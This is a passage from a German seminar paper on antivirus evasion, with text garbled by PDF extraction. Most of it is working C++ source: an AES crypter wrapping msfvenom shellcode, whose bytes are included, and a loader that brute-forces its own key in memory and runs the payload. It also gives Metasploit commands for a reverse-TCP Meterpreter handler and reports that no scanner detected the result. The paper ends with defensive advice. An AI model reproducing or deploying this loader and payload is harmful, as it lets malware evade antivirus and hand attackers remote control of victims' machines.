Hier ist zu erkennen, dass 36 der 57 verwendeter Antiviren Systeme die erstellter Exe-cutable als bösartig erkannt haben. Also haben 80 Prozent der verwendeten Scanner dasrichtige Resultat geliefert. Die anderen 20 Prozent konnten dies nicht erkennen, was viel-leicht zurückzuführen ist, dass msfvenom automatisch den bereits genannten polymorphenCrypter Shikata ga nai verwendet. Da aber immer der gleiche Shellcode verwendet wird,soll dies nicht stören und die Ergebnisse bleiben dadurch unverfälscht. Die Vorkehrungenfür den Test sind somit gesteckt und das Ziel ist es, die 36 übrigen Antiviren Systeme zuüberlisten.

4.3.2 Crypter AES

Der Crypter übernimmt die initiale Verschlüsselung des Shellcodes via AES und liefertden verschlüsselten Shellcode für die eigentliche Anwendung. Der Shellcode wird auf derKommandozeile geliefert, sowie auch in eine cipher.txt in den derzeitigen Ordner schreibt.

Source Code des Crypters:

#include "stdafx.h"2

#if defined(WIN32)4 #include <windows.h>#endif

6

#include <iostream >8 #include <string >#include <fstream >

10 #include "hex.h"#include "aes.h"

12 #include "filters.h"#include "modes.h"

14 #include "files.h"#include "integer.h"

16

18 using namespace CryptoPP;using namespace std;

20

22 // CONFIG// ------------------------------------------------------------------

24 // SHELLCODE FILL UP WITH atleast 4x \xbb as Markerbytes and get theAligment right strlen(Char) mod 2 = 1 is wrong!

26



const char code[] = "\xbb\xf3\xd7\xdc\x8f\xda\xd3\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"

28 "\x4b\x31\x58\x15\x03\x58\x15\x83\xc0\x04\xe2\x06\x2b\x34\x0d""\xe8\xd4\xc5\x72\x61\x31\xf4\xb2\x15\x31\xa7\x02\x5e\x17\x44"

30 "\xe8\x32\x8c\xdf\x9c\x9a\xa3\x68\x2a\xfc\x8a\x69\x07\x3c\x8c""\xe9\x5a\x10\x6e\xd3\x94\x65\x6f\x14\xc8\x87\x3d\xcd\x86\x35"

32 "\xd2\x7a\xd2\x85\x59\x30\xf2\x8d\xbe\x81\xf5\xbc\x10\x99\xaf""\x1e\x92\x4e\xc4\x17\x8c\x93\xe1\xee\x27\x67\x9d\xf1\xe1\xb9"

34 "\x5e\x5d\xcc\x75\xad\x9c\x08\xb1\x4e\xeb\x60\xc1\xf3\xeb\xb6""\xbb\x2f\x7e\x2d\x1b\xbb\xd8\x89\x9d\x68\xbe\x5a\x91\xc5\xb5"

36 "\x05\xb6\xd8\x1a\x3e\xc2\x51\x9d\x91\x42\x21\xb9\x35\x0e\xf1""\xa0\x6c\xea\x54\xdd\x6f\x55\x08\x7b\xfb\x78\x5d\xf6\xa6\x14"

38 "\x92\x3a\x59\xe5\xbc\x4d\x2a\xd7\x63\xe5\xa4\x5b\xeb\x23\x32""\x9b\xc6\x93\xac\x62\xe9\xe3\xe5\xa0\xbd\xb3\x9d\x01\xbe\x58"

40 "\x5e\xad\x6b\xce\x0e\x01\xc4\xae\xfe\xe1\xb4\x46\x15\xee\xeb""\x76\x16\x24\x84\x1c\xec\xaf\x6b\x48\xee\x10\x04\x8a\xef\x6b"

42 "\xed\x03\x09\x19\x1d\x45\x81\xb6\x84\xcc\x59\x26\x48\xdb\x27""\x68\xc2\xe9\xd8\x27\x23\x98\xca\x50\x0c\x62\x13\xa1\x19\x62"

44 "\x79\xa5\x8b\x35\x15\xa7\xea\x71\xba\x58\xd9\x02\xbd\xa7\x9c""\xed\xb5\x9e\x0a\xad\xa1\xde\xda\x2d\x32\x89\xb0\x2d\x5a\x6d"

46 "\xe1\x7e\x7f\x72\x3c\x13\x2c\xe7\xbf\x45\x80\xa0\xd7\x6b\xff""\x87\x77\x94\x2a\x94\x70\x6a\xab\x58\x81\xa9\x7a\x99\xf7\xc4"

48 "\xbe\x9e\x08\xa3\xe3\xb7\x82\xcb\xb0\xc8\x86\xbb\xbb\xbb\xbb";

50 // PASSWORD for encryptionconst string encoded_key = "abd!hi";

52

// CONFIG END54

string enc_AES_ECB(const string &enc_key , const string &plain_text){56 byte key [16];

string cipher_text;58 StringSource(enc_key , true , new HexDecoder(new ArraySink(key , 16)));

ECB_Mode <AES >:: Encryption aes_enc;60 aes_enc.SetKey(key , sizeof(key));

try{62 StringSource(plain_text , true , new StreamTransformationFilter(

aes_enc , new HexEncoder(new StringSink(cipher_text))));}

64 catch (const Exception & e){cerr << e.what() << endl;

66 assert(false);}

68 return cipher_text;}



70

72 int _tmain(int argc , _TCHAR* argv []){

74 cout << strlen(code) << endl << endl << endl;string cipher = enc_AES_ECB(encoded_key , code);

76 ofstream myfile;myfile.open("cipher.txt");

78 myfile << cipher;myfile.close();

80 cout << cipher << endl;system("pause");

82 return 0;}

Listing 12: AES Crypter

Es ist wichtig, dass beim Shellcode am ende mindestens 4 „\bb“ Bytes als Markerby-tes hinzugefügt werden. Hierbei ist es auch wichtig auf das Padding des Shellcodes zuachten(Shellcode mod 2 = 0 wäre korrekt für das Padding).

Das Ergebnis des obigen Shellcodes (Key = „abd!hi“) wird verschlüsselt so aussehen:

1 3D74A92207F3D2460D090D4D291F80F88D71FC6BD94BA901DF0038BF78D0E359EAE33C747F3A0FC23683D2013A7F8B2FD8FC42AF3F7F73524D4FDF3A52DB8A168B4E358CFF7D

3 A67F67914E488C68F9DE9A571A907908C24DB309787A315169406108356A85C8E848AB051ED81C9CD17E60ED467BB1B1ABED720CAB4ACEA3D93B0DB11E62D7E6EB83AF7D2D81

5 3D291DF3711014BA146ECC0F10C26A37E1917A754B78B60A7E8E817BCAA1E14778C9F50DD98D50A176060A69E5EF2C3B67BE8C39F3E4690ED689EBFA912727D314D1A10671E609

7 6796C589B84B6B57798F8A5759FBBD610E2A94194DD8A0CE76D6C53A8343E98D70E59D104C5FBE632A580139F53279C79D78A99AED6D7923282D51D36EA75F0F89A1CC7523F3111

9 1795FD5FD255BBBF12463A71A5969B542801E75A4A9A70173D95001998344597C403209B8227CB017ADE223FEBA64AE552CBDAC96F0

Listing 13: AES Verschlüsselt

Der Ergebnis String wird nun in die Hauptanwendung kopiert um dort in der Laufzeitentschlüsselt zu werden.

4.3.3 AES Brute-Force in Memory

Nun folgt das eigentliche Programm, welches den Shellcode im Hauptspeicher selbstknackt. Dies geht unter der Verwendung von einfach gewählten Schlüsseln sehr schnell.Je nach Wahl des Schlüssels und der Konfiguration des Brute-Force Algorithmus kann



es zwischen 1 Sekunde bis mehrere Stunden brauchen. Ein Zielwert sollte zwischen 30Sekunden und 2 Minuten liegen.

2 #include "stdafx.h"

4 #if defined(WIN32)#include <windows.h>

6 #endif

8 #include <iostream >#include <string >

10 #include "hex.h"#include "aes.h"

12 #include "filters.h"#include "modes.h"

14 #include "files.h"#include "integer.h"

16

using namespace CryptoPP;18 using namespace std;

20

// CONFIG22 //

--------------------------------------------------------------------------------------------------------------------------

const int SHELLCODELENGTH = 330; // Length of the Shellcode24 const int LENGTHOFPASSWORD = 7; // Length of the used password. Not

Bigger than 7!const string charsToUse = "abcdefghijklmnopqrstuvwxyz !?$ ß %&/()=";

// Every used Char in the Password must be inside of the String26

// STRING FROM THE CRYPTER OR CIPHER.TXT28 string crypt = "3D74A92207F3D2460D090D4D291F80F88D71FC6BD94BA901DF003

8BF78D0E359EAE33C747F3A0FC23683D2013A7F8B2FD8FC42AF3F7F73524D4FD30 F3A52DB8A168B4E358CFF7DA67F67914E488C68F9DE9A571A907908C24DB3097

87 A315169406108356A85C8E848AB051ED81C9CD17E60ED467BB1B1ABED720C32 AB4ACEA3D93B0DB11E62D7E6EB83AF7D2D813D291DF3711014BA146ECC0F10

C26A37E1917A754B78B60A7E8E817BCAA1E14778C9F50DD98D50A176060A69E34 5EF2C3B67BE8C39F3E4690ED689EBFA912727D314D1A10671E6096796C589B84

B6B57798F8A5759FBBD610E2A94194DD8A0CE76D6C53A8343E98D70E59D104C36 5FBE632A580139F53279C79D78A99AED6D7923282D51D36EA75F0F89A1CC7523

F31111795FD5FD255BBBF12463A71A5969B542801E75A4A9A70173D9500199834438 597 C403209B8224800AD8423660605D3F46D09E0E5DCD6";



40

//--------------------------------------------------------------------------------------------------------------------------

42

// Global Vars DO NOT CHANGE44 bool hit = false;

string encoded_key;46 char aes[SHELLCODELENGTH + 1];

48

string dec_AES_ECB(const string &dec_key , const string &cipher_text){50 byte key [16];

string plain_text;52 try {

StringSource(dec_key , true , new HexDecoder(new ArraySink(key , 16)));54 }

catch (const Exception& e){56 cerr << e.what() << endl;

assert(false);58 }

ECB_Mode <AES >:: Decryption aes_dec;60 aes_dec.SetKey(key , sizeof(key));

try {62 string buffercipher;

HexDecoder * h1 = new HexDecoder(new StringSink(buffercipher));64 StringSource(cipher_text , true , h1);

StringSource(buffercipher , true , new StreamTransformationFilter(aes_dec , new StringSink(plain_text)));

66 }catch (const Exception& e){

68 return "false";}

70 return plain_text;}

72

void invoke (){74 void(*func)();

func = (void(*)()) (&aes);76 func();

}78

void Brute(string prefix , string chars , int len){80 int i = 0;



82 if (prefix.length () < len){for (i = 0; i<len; i++){

84 encoded_key = "";encoded_key += prefix;

86 encoded_key += chars[i];string code2 = dec_AES_ECB(encoded_key , crypt);

88 if ( code2 != "false"){strncpy(aes , code2.c_str(), sizeof(aes));

90 aes[sizeof(aes) - 1] = 0;if (aes[sizeof(aes) - 2] == ’\xbb’ && aes[sizeof(aes) - 3] == ’\

xbb’){92 hit = true;

cout << aes[sizeof(aes) - 1] << endl;94 invoke ();

return;96 }

}98 Brute(prefix + chars[i], chars , len);

if (hit == true){100 return;

}102 }

}104 }

106

108 int _tmain(int argc , _TCHAR* argv []){

110 Brute("", charsToUse , LENGTHOFPASSWORD);system("pause");

112 return 0;}

Listing 14: AES Brute-Force

Für den Kompilierung ist noch wichtig dem Compiler mitzugeben, dass er DEP nichtbenutzt. Bei Visual Studio muss dem Linker das Kommando /NXCOMPAT[:NO] mit indie Befehlszeile gegeben werden. Nach dem Kompilierungsvorgang entsteht eine Windowsexecutable.



4.3.4 Test

Um die Executable zu testen wird auf einem Kali Linux System mit vorinstalliertenMetasploit-Framework ein Meterpreter listener aufgesetzt. Dies wurde wie folgt aufge-setzt:

Starten des Metasploit-Frameworks: Bash Command:# msfconsole

Wechseln zum Exploit Handler: Bash Command:# use exploit/multi/handler

Auswählen der Meterpreter payload: Bash Command:# set payload windows/meterpreter/reverse_tcp

Setzen der eigenen IP: Bash Command:# set LHOST 192.168.0.29

Setzen des Ports, auf welchen sich die Reverse Shell verbindet. Bash Command:# set LPORT 1337

Starten des Handlers Bash Command:# run

Da alle Vorkehrungen auf dem zu empfangenden PC getroffen worden sind, wird nun dieWindows Executable ausgeführt. Diese sollte nur ein Kommandozeilenfenster öffnen undnichts anzeigen. Durch die Wahl des Schlüssels wird sich der Shellcode je nach Leistungs-fähigkeit des Systems nach ca. 50 Sekunden geknackt haben und verbindet sich mit demKali Linux System.

Abbildung 3: Meterpreter Connection

Somit wurde der Shellcode richtig entschlüsselt und führt sich auch problemlos aus.


Kapitel 5 Fazit

4.3.5 AV-Evasion

Zuletzt wird getestet, wie sich die erzeugte Windows Executable gegen Antiviren Systemeschlägt nachdem der ursprüngliche Test bei 36 Erkennungen lag.

Zur Erinnerung, VirusTotal verwendet Hauptsächlich Signatur Scanner. Sollten die Signa-tur Scanner nichts finden, so muss man noch auf lokal Installierten Systemen die LaufzeitErkennung testen.

Das Ergebnis des VirusTotal Tests:

Abbildung 4: VirusTotal AES

Diesmal wurden alle Signatur Scanner der Antiviren Systeme ausgetrickst und die erstellteExecutable wurde durch nichts erkannt. Die Runtime Tests wurden noch mit Avira/Kas-persky und Bitdefender getestet aber auch hier wurde die Executable nicht als möglicheBedrohung gesehen.

5 FazitAus dieser Ausarbeitung sollte sich herauskristallisieren, wie einfach es ist die aktuellstenAntiviren Systeme zu umgehen. Daher sollte ein Antiviren System niemals als einzigeSicherheitsmaßnahme verwendet werden. Antiviren Systeme sind sehr gut darin alle nor-malen Viren und sonstige Schadprogramme zu entdecken aber wenn es jemand daraufanlegt schauen diese meistens ins leere.


Kapitel 6 Quellenverzeichnis

Als Maßnahme zur weiteren Absicherung der Systeme sollte ein Hardening durchge-führt werden, welches Policys/Dienste/Antiviren Systeme und Windows Settings berück-sichtigt. Eine gute weiter Maßnahme wäre auch die Installation von EMET (https://support.microsoft.com/de-de/kb/2458544/de).

6 Quellenverzeichnis[1] Vivek Ramachandran. Insertion-encoder. http://securitytube.net, 02 2013.


https://support.microsoft.com/de-de/kb/2458544/de

https://support.microsoft.com/de-de/kb/2458544/de

Anhang 6 Quellenverzeichnis

Anhanghttp://www.utd.hs-rm.de/infobuch2/Buch_Webseite/kap03/Assemblerbefehle.pdf

Ausarbeitung Seminar über AV-EvasionBirk Kauer Seite I

http://www.utd.hs-rm.de/infobuch2/Buch_Webseite/kap03/Assemblerbefehle.pdf

Erklärung

Hiermit versichere ich, dass ich meine Abschlussarbeit selbstndig verfasst und keine an-deren als die angegebenen Quellen und Hilfsmittel benutzt habe.

Datum: .......................................................(Unterschrift)

ausarbeitung -...

Documents